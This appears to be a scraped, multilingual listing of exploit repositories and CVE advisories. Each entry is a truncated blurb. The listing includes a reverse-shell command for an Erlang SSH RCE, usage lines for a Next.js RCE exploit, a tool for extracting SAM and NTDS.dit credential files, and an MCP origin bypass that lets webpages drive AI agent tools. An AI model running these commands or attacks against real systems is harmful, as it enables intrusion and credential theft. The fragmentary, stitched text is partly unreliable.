0logon

Questo repository non contiene un README...

CVE-2026-55580 mcp-shell — Security Disabled by Default in Bare-Binary Deploy Path + Shell Interpreter in Secure-Mode Allowlist

mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, config.go initializes Security.Enabled to false, and when MCPSHELLSECCONFIGFILE is unset, main.go starts the documented bare-binary deployment without a security policy...

lab-annie

lab-annie Automatisiert die Ausnutzung von CVE-2020-13160, einer kritischen Remote-Codeausführung-Schwachstelle in AnyDesk 5.5.2...

CVE-2025-55182

Next.js React Server Components RCE-Exploit Nutzt CVE-2025-55182 für Remote-Codeausführung RCE durch Prototype Pollution aus. Installation root@kitploit: uv sync Verwendung Befehlsausführung root@kitploit: source .venv/bin/activate python3 exploit.py -u https://example.com -c "id" Reverse Shell...

CVE-2026-55529

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, the MCP HTTP Stream validateorigin method accepts requestorigin.startswithallowed, so the attacker-controlled localhost.evil.example HTTP origin matches the localhost allowlist. Without an API key, a malicious webpage can submit...

CVE-2024-58377 Nokogiri before 1.16.5 libxml2 Dependency Update

Nokogiri versions before 1.16.5 bundle libxml2 2.12.6, which is affected by CVE-2024-34459 in libxml2's xmllint tool. Nokogiri 1.16.5 upgrades the bundled libxml2 to 2.12.7 to address this. Per the maintainers, there is no impact to Nokogiri users because Nokogiri does not provide or expose the...

CVE-2026-55529

PraisonAI (a multi-agent teams system) has an origin validation bypass in its MCP HTTP Stream transport. The _validate_origin method uses request_origin.startswith(allowed), so an attacker-controlled origin like http://localhost.evil.example matches the http://localhost allowlist entry via prefix...

PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server

Summary PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value. As a result, an attacker-controlled orig...

ARTAXERXES

ARTAXERXES 🚀 Framework avanzato di stress test multi-tecnologia Strumento educativo di cybersecurity per test di rete ad alte prestazioni 📋 Indice 🎯 Panoramica ⚡ Confronto delle prestazioni 🛠️ Stack tecnologico 📊 Architettura 🚀 Avvio rapido ⚙️ Installazione 💡 Esempi di utilizzo 🔧 Configurazione...

cve-2018-15473

CVE-2018-15473 This is part of Cved: a tool to manage vulnerable docker containers. Questo fa parte di Cved: uno strumento per gestire contenitori docker vulnerabili. Cved: https://github.com/git-rep-src/cved Sorgente immagine: https://github.com/cved-sources/cve-2018-15473 Autore immagine:...

UnderlayCopy

UnderlayCopy UnderlayCopy é um utilitário PowerShell para aquisição NTFS de baixo nível e extração de artefatos de sistema protegidos e bloqueados por exemplo: SAM , SYSTEM , NTDS.dit , hives do registro e outros arquivos normalmente inacessíveis enquanto o Windows está em execução. Ele suporta...

gh-dork

gh-dork Supply a list of dorks and, optionally, one of the following: a user -u a file with a list of users -uf an organization -org a file with a list of organizations -of a repo -r You can also pass: an output directory to store results -o a filename to store valid items, if your users or org...

CVE-2023-20198

Strumento di exploit per router Cisco CVE-2023-20198...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

React2Shell-CVE-2025-55182

root@kitploit: $$\ $$\ $$$$$$$\ $$\ $$\ $$$$$$$$\ $$\ $$\ $$$$$$\ $$$$$\ $$$\ $$$ |$$ $$\ $$$\ $$$ |$$ |$$ | $\ $$ |$$ $$\ $$ | $$$$\ $$$$ |$$ | $$ | $$$$\ $$$$ | $$ | $$ |$$$\ $$ |$$ / $$ | $$ | $$$$$$ $$ |$$$$$$$ | $$$$$$ $$ | $$ | $$ $$ $$$$ |$$ | $$ | $$ | $$ $$$ $$ |$$ $$ $$ $$$ $$ |...

oopso

oopso Ein benutzerfreundlicher clientseitiger OSINT-Abfrage-Builder zum Auffinden exponierter Dateimanager in Suchmaschinen. Version: 1.0 Funktionen Unterstützung mehrerer Engines: Übersetzt Fingerprints automatisch in die native Abfragesyntax für Shodan, FOFA, ZoomEye und Censys Umfangreiche...

Sandbox-Escape-iOS-18.0-26.0

🛑 Nur für Bildungs- und Forschungszwecke Dieses Tool wurde ausschließlich für Sicherheitsforschung und Bildungszwecke entwickelt. Es ist nur für die Verwendung an Geräten gedacht, die dir gehören oder für deren Test du ausdrückliche Erlaubnis hast. Die Verwendung dieses Tools ohne Autorisierung...

PentesterLab-Intercept-CVE-2014-1266

このリポジトリには README がありません。...

springhound

springhound Creato dopo il rilascio di CVE-2022-22965 e CVE-2022-22963. Script Bash che rileva le occorrenze di Spring Framework nei tuoi progetti e sistemi, consentendoti di ottenere informazioni sulle versioni utilizzate. Estrae i file JAR e analizza i loro file Manifest. Utilizzo:...

bidi_char_detector

BIDI Character Detector Dieses Tool überprüft Ihre Dateien auf das Vorhandensein von Unicode-BIDI-Zeichen, die für Supply-Chain-Angriffe missbraucht werden können, um CVE-2021-42574 zu entschärfen. Dieses Tool wurde in Rust geschrieben und wird als kleiner 3 MB Docker-kompatibler Container...